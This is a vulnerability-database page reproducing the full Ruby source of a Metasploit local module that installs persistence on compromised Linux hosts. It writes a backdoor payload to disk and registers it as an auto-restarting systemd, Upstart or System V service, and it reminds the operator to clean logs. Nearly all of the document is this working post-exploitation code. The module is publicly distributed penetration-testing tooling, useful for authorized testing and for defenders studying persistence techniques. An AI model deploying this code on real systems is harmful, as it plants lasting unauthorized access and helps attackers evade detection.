Lucene search
K

Metasploit Service Persistence Module

🗓️ 18 Aug 2016 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

This module creates a service for auto-restart on Unix/Linux systems, targeting specific versions of CentOS, Debian, Fedora, and Ubuntu, utilizing various init systems like System V, Upstart, and systemd

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Unix  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Service Persistence',  
'Description' => %q(  
This module will create a service on the box, and mark it for auto-restart.  
We need enough access to write service files and potentially restart services  
Targets:  
System V:  
CentOS <= 5  
Debian <= 6  
Kali 2.0  
Ubuntu <= 9.04  
Upstart:  
CentOS 6  
Fedora >= 9, < 15  
Ubuntu >= 9.10, <= 14.10  
systemd:  
CentOS 7  
Debian >= 7, <=8  
Fedora >= 15  
Ubuntu >= 15.04  
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <[email protected]>'  
],  
'Platform' => ['unix', 'linux'],  
'Targets' =>  
[  
['Auto', {}],  
['System V', { :runlevel => '2 3 4 5' }],  
['Upstart', { :runlevel => '2345' }],  
['systemd', {}]  
],  
'DefaultTarget' => 0,  
'Arch' => ARCH_CMD,  
'References' =>  
[  
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples']  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down  
}  
},  
'DefaultOptions' =>  
{  
'WfsDelay' => 5  
},  
'DisclosureDate' => 'Jan 1 1983', # system v release date  
)  
)  
  
register_options(  
[  
OptPath.new('SHELLPATH', [true, 'Writable path to put our shell', '/usr/local/bin']),  
OptString.new('SHELL_NAME', [false, 'Name of shell file to write']),  
OptString.new('SERVICE', [false, 'Name of service to create'])  
], self.class  
)  
end  
  
def exploit  
backdoor = write_shell(datastore['SHELLPATH'])  
path = backdoor.split('/')[0...-1].join('/')  
file = backdoor.split('/')[-1]  
case target.name  
when 'System V'  
system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))  
when 'Upstart'  
upstart(path, file, target.opts[:runlevel])  
when 'systemd'  
systemd(path, file)  
else  
if service_system_exists?('systemctl')  
print_status('Utilizing systemd')  
systemd(path, file)  
end  
if service_system_exists?('initctl')  
print_status('Utilizing Upstart')  
upstart(path, file, '2345')  
end  
has_updatercd = service_system_exists?('update-rc.d')  
if has_updatercd || service_system_exists?('chkconfig') # centos 5  
print_status('Utilizing System_V')  
system_v(path, file, '2 3 4 5', has_updatercd)  
else  
print_error('Unable to detect service system')  
register_file_for_cleanup(backdoor)  
end  
end  
end  
  
def service_system_exists?(command)  
service_cmd = cmd_exec("which #{command}")  
!(service_cmd.empty? || service_cmd.include?('no'))  
end  
  
def write_shell(path)  
file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5)  
backdoor = "#{path}/#{file_name}"  
vprint_status("Writing backdoor to #{backdoor}")  
write_file(backdoor, payload.encoded)  
cmd_exec("chmod 711 #{backdoor}")  
backdoor  
end  
  
def systemd(backdoor_path, backdoor_file)  
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/  
script = %{[Unit]  
Description=Start daemon at boot time  
After=  
Requires=  
[Service]  
RestartSec=10s  
Restart=always  
TimeoutStartSec=5  
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}  
[Install]  
WantedBy=multi-user.target}  
  
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)  
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")  
write_file("/lib/systemd/system/#{service_filename}.service", script)  
vprint_status('Enabling service')  
cmd_exec("systemctl enable #{service_filename}.service")  
vprint_status('Starting service')  
cmd_exec("systemctl start #{service_filename}.service")  
end  
  
def upstart(backdoor_path, backdoor_file, runlevel)  
# http://blog.terminal.com/getting-started-with-upstart/  
script = %{description \"Start daemon at boot time\"  
start on filesystem or runlevel [#{runlevel}]  
stop on shutdown  
script  
cd #{backdoor_path}  
echo $$ > /var/run/#{backdoor_file}.pid  
exec #{backdoor_file}  
end script  
post-stop exec sleep 10  
respawn  
respawn limit unlimited}  
  
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)  
vprint_status("Writing service: /etc/init/#{service_filename}.conf")  
write_file("/etc/init/#{service_filename}.conf", script)  
vprint_status('Starting service')  
cmd_exec("initctl start #{service_filename}")  
vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")  
end  
  
def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)  
if has_updatercd  
print_status('Utilizing update-rc.d')  
else  
print_status('Utilizing chkconfig')  
end  
script = %{#!/bin/sh  
### BEGIN INIT INFO  
# Provides: service  
# Required-Start: $network  
# Required-Stop: $network  
# Default-Start: #{runlevel}  
# Default-Stop: 0 1 6  
# Short-Description: Start daemon at boot time  
# Description: Enable service provided by daemon.  
### END INIT INFO  
dir=\"#{backdoor_path}\"  
cmd=\"#{backdoor_file}\"  
name=`basename $0`  
pid_file=\"/var/run/$name.pid\"  
stdout_log=\"/var/log/$name.log\"  
stderr_log=\"/var/log/$name.err\"  
get_pid() {  
cat \"$pid_file\"  
}  
is_running() {  
[ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1  
}  
case \"$1\" in  
start)  
if is_running; then  
echo \"Already started\"  
else  
echo \"Starting $name\"  
cd \"$dir\"}  
  
if has_updatercd  
script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"  
else # CentOS didn't like sudo or su...  
script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"  
end  
script << %{ echo $! > \"$pid_file\"  
if ! is_running; then  
echo \"Unable to start, see $stdout_log and $stderr_log\"  
exit 1  
fi  
fi  
;;  
stop)  
if is_running; then  
echo -n \"Stopping $name..\"  
kill `get_pid`  
for i in {1..10}  
do  
if ! is_running; then  
break  
fi  
echo -n \".\"  
sleep 1  
done  
echo  
if is_running; then  
echo \"Not stopped; may still be shutting down or shutdown may have failed\"  
exit 1  
else  
echo \"Stopped\"  
if [ -f \"$pid_file\" ]; then  
rm \"$pid_file\"  
fi  
fi  
else  
echo \"Not running\"  
fi  
;;  
restart)  
$0 stop  
if is_running; then  
echo \"Unable to stop, will not attempt to start\"  
exit 1  
fi  
$0 start  
;;  
status)  
if is_running; then  
echo \"Running\"  
else  
echo \"Stopped\"  
exit 1  
fi  
;;  
*)  
echo \"Usage: $0 {start|stop|restart|status}\"  
exit 1  
;;  
esac  
exit 0}  
  
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)  
vprint_status("Writing service: /etc/init.d/#{service_filename}")  
write_file("/etc/init.d/#{service_filename}", script)  
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")  
vprint_status('Enabling & starting our service')  
if has_updatercd  
cmd_exec("update-rc.d #{service_filename} defaults")  
cmd_exec("update-rc.d #{service_filename} enable")  
cmd_exec("service #{service_filename} start")  
else # CentOS  
cmd_exec("chkconfig --add #{service_filename}")  
cmd_exec("chkconfig #{service_filename} on")  
cmd_exec("/etc/init.d/#{service_filename} start")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation